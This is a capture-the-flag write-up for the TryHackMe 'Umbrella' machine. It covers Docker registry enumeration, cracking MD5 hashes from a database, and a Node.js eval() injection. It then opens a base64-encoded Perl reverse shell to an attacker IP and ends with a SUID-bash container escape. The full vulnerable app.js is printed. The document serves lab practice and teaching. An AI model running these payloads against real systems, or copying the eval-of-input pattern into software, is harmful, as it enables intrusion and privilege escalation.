Umbrella

Breach Umbrella Corp's time-tracking server by exploiting misconfigurations around containerisation. - by brunofight

Recon

We start with a Nmap scan and discover four open ports. On port 22 SSH, on port 3306 we have access to a MySQL database, on port 5000 a Docker registry connection, and on port 8080 an HTTP server running Node.js.

When visiting the website on port 8080 we only have a login page available. Unfortunately, Gobuster did not provide any further directories. So let's continue.

Next, we focus on the Docker registry that is exposed on port 5000.

A Docker registry is a storage and distribution system for named Docker images. The same image might have multiple different versions, identified by their tags. A Docker registry is organized into Docker repositories , where a repository holds all the versions of a specific image. The registry allows Docker users to pull images locally, as well as push new images to the registry (given adequate access permissions when applicable).

Hacktricks provides us with all kinds of ways to enumerate this:

We use cURL to enumerate and find all kinds of useful information. We see it is configured for HTTP. Furthermore, we display the available repositories via _catalog. The repository umbrella/timetracking is available to us.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella]
└─$ curl -s http://umbrella.thm:5000/v2/_catalog

Next, we pull the tags of the umbrella/timetracking repository and get the tag latest.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella]
└─$ curl -s http://umbrella.thm:5000/v2/umbrella/timetracking/tags/list

With the tag and the repository, we can now pull the manifests. Inside the manifest is the history and the blobs used by Docker. The history refers to the commands or instructions that were used to build each layer of the Docker image. The blobs refer to binary large objects, which are essentially the individual layers that compose a Docker image.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella]
└─$ curl -s http://umbrella.thm:5000/v2/umbrella/timetracking/manifests/latest

In the first entry of the history, we see the database password used, and can also answer the first question of the room.

We log in to the database with the credentials from the history and find credentials for claire-r, chirs-r, jill-r and barry-b. Those are MD5 encoded and can easily be cracked via hashcat for example. hashcat -a 0 -m 0 hashes /usr/share/wordlist/rockyou.txt.

Foothold

I have divided this section into two parts, as we need two footholds for the rest of the challenge. The first part shows how the challenge should actually be solved in terms of the sequence of events. Unfortunately, I had entered the credentials manually when enumerating and mistyped a password and thus only focused on Part II initially. But first, move on to Part I.

Part I

Since we have credentials, we can try them out not only directly on the website but also with SSH access. With the creds from claire-r we have access to both the time tracking app on 8080...

... as well as access to the machine via SSH. We are the user claire-r and find the first flag in the user's home directory.

In the timeTracker-src directory, we find the sources for the app on port 8080. We can see that this is set up via a Docker container. We could now look in app.js to see exactly how the app works and identify a vulnerability there. However, we will deal with this in Part II. Because it is also possible to get a view on app.js without access via claire-r.

Inside the Docker compose file, we see that the /logs folder is mounted. That might be interesting later. Seeing this after already having exploited 8080, the way of thinking could be about a misconfigured Docker Container running the application. So, the next steps could therefore be to get a foothold over 8080 and escalated our privileges from the vulnerable Docker container. And that is exactly what we will do.

Part II

We log in to the website with the claire-r credentials. We see a time entry tool with the option of using mathematical operations to update our tracked times. When we enter a numerical value, the time spent value increases.

We go back a few steps and remember the manifests file. From this, we can pull the blobs via curl http://umbrella.thm:5000/v2/umbrella/timetracking/blobs/sha256:<HASH> -o a.tar. We can then unpack these via tar -xf tar.a. It is important here that the extracted files are overwritten when unpacking multiple blobs. So to avoid confusion, we delete the extracted blob before pulling a new one.

With the following hash, we get access to app.js.

┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella/blob]
└─$ curl http://umbrella.thm:5000/v2/umbrella/timetracking/blobs/sha256:c9124d8ccff258cf42f1598eae732c3f530bf4cdfbd7c4cd7b235dfae2e0a549 --output a.tar
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1428  100  1428    0     0  16241      0 --:--:-- --:--:-- --:--:-- 16413
                                                                                                                                                   
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/umbrella/blob]
└─$ tar -xf a.tar

Here, we notice in line 71 let timeCalc = parseInt(eval(request.body.time)); that the entered time value is evaluated using eval(). Here we have our entry point for injecting our own commands.

app.js
const mysql = require('mysql');
const express = require('express');
const session = require('express-session');
const path = require('path');
const crypto = require('crypto')
const cookieParser = require('cookie-parser');
const fs = require('fs');

const connection = mysql.createConnection({
        host     : process.env.DB_HOST,
        user     : process.env.DB_USER,
        password : process.env.DB_PASS,
        database : process.env.DB_DATABASE
});

const app = express();
app.set('view engine' , 'ejs')
app.set('views', './views')
app.use(express.static(__dirname + '/public'));
app.use(express.json());
app.use(express.urlencoded({ extended: true }));

app.use(cookieParser());
app.use(session({secret: "Your secret key", cookie : {secure : false}}));

var logfile = fs.createWriteStream(process.env.LOG_FILE, {flags: 'a'});

var log = (message, level) => {
        format_message = `[${level.toUpperCase()}] ${message}`;
        logfile.write(format_message + "\n")
        if (level == "warn") console.warn(message)
        else if (level == "error") console.error(message)
        else if (level == "info") console.info(message)
        else console.log(message)
}

// http://localhost:8080/
app.get('/', function(request, response) {

        if (request.session.username) {

                connection.query('SELECT user,time FROM users', function(error, results) {
                        var users = []
                        if (error) {
                                log(error, "error")
                        };

                        for (let row in results){

                                let min = results[row].time % 60;
                                let padded_min = `${min}`.length == 1 ? `0${min}` : `${min}`
                                let time = `${(results[row].time - min) / 60}:${padded_min} h`;
                                users.push({name : results[row].user, time : time});
                        }
                        response.render('home', {users : users});
                });

        } else{
                response.render('login');
        }

});



// http://localhost:8080/time
app.post('/time', function(request, response) {

    if (request.session.loggedin && request.session.username) {

        let timeCalc = parseInt(eval(request.body.time));
                let time = isNaN(timeCalc) ? 0 : timeCalc;
        let username = request.session.username;

                connection.query("UPDATE users SET time = time + ? WHERE user = ?", [time, username], function(error, results, fields) {
                        if (error) {
                                log(error, "error")
                        };

                        log(`${username} added ${time} minutes.`, "info")
                        response.redirect('/');
                });
        } else {
        response.redirect('/');;
    }

});

// http://localhost:8080/auth
app.post('/auth', function(request, response) {

        let username = request.body.username;
        let password = request.body.password;

        if (username && password) {

                let hash = crypto.createHash('md5').update(password).digest("hex");

                connection.query('SELECT * FROM users WHERE user = ? AND pass = ?', [username, hash], function(error, results, fields) {

                        if (error) {
                                log(error, "error")
                        };

                        if (results.length > 0) {

                                request.session.loggedin = true;
                                request.session.username = username;
                                log(`User ${username} logged in`, "info");
                                response.redirect('/');
                        } else {
                                log(`User ${username} tried to log in with pass ${password}`, "warn")
                                response.redirect('/');
                        } 
                });
        } else {
                response.redirect('/');
        } 

});

app.listen(8080, () => {
        console.log("App listening on port 8080")
});

We try out the payloads on the following page (An excellent resource on Node.js Command Injection Payloads):

With arguments[1].end(require('child_process').('cat /etc/passwd')) we are able to retrieve the /etc/passwd file.

After a good batch of payloads, only Perl worked. To avoid bad characters, we encode the payload as base64.

perl -e 'use Socket;$i="10.8.211.1";$p=4445;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Our payload, then, looks like the following:

require('child_process').execSync('echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iMTAuOC4yMTEuMSI7JHA9NDQ0NTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9Oyc= | base64 -d | bash')

With that, we are able to gain a reverse shell on the Docker container, and we are directly root on the container. This begs for a specific privilege escalation on Docker. But to be fair, after initially getting access, the main idea was to escape from the container to a user on the host (not having the SSH access).

Not much could be done in the Container, usual binaries like ps were not available.

Which may be helpful in other challenges:

In order to somehow still be able to enumerate with the usual scripts, I base64 encoded them and wrote them directly to a file, which I then decoded and wrote the contents to a script file afterwards. Then I had to remove carriage returns. But this is not practicable for binaries.

$> cat <<EOF > b64.txt BASE64_INPUT EOF

$> base64 -d 64.txt > script.sh

$> sed -i -e 's/\r$//' script.sh

$> chmod +x script.sh

Privilege Escalation

In the root directory, we find the folder /logs. This was very interesting from the start, even without knowing that claires-r's home directory belongs to UID 1001. One that is not present on the Docker container.

To confirm that this is the log directory from clair-r we look at the contents and could also create a file in there.

Inboth we found the tt.log.

We make use of the following privilege escalation technique:

If you have access as root inside a container that has some folder from the host mounted and you have escaped as a non privileged user to the host and have read access over the mounted folder. You can create a bash suid file in the mounted folder inside the container and execute it from the host to privesc.

cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder

We copy /bin/bash to /home/claire-r/timeTracker/logs as claire-r session.

Next, we modify the permissions inside the container, since we are root.

Now we have a SUID bash binary, owned by root in /log. After executing /bin/bash -p as claire-r we get a root shell and have access to the final flag in /root.

Last updated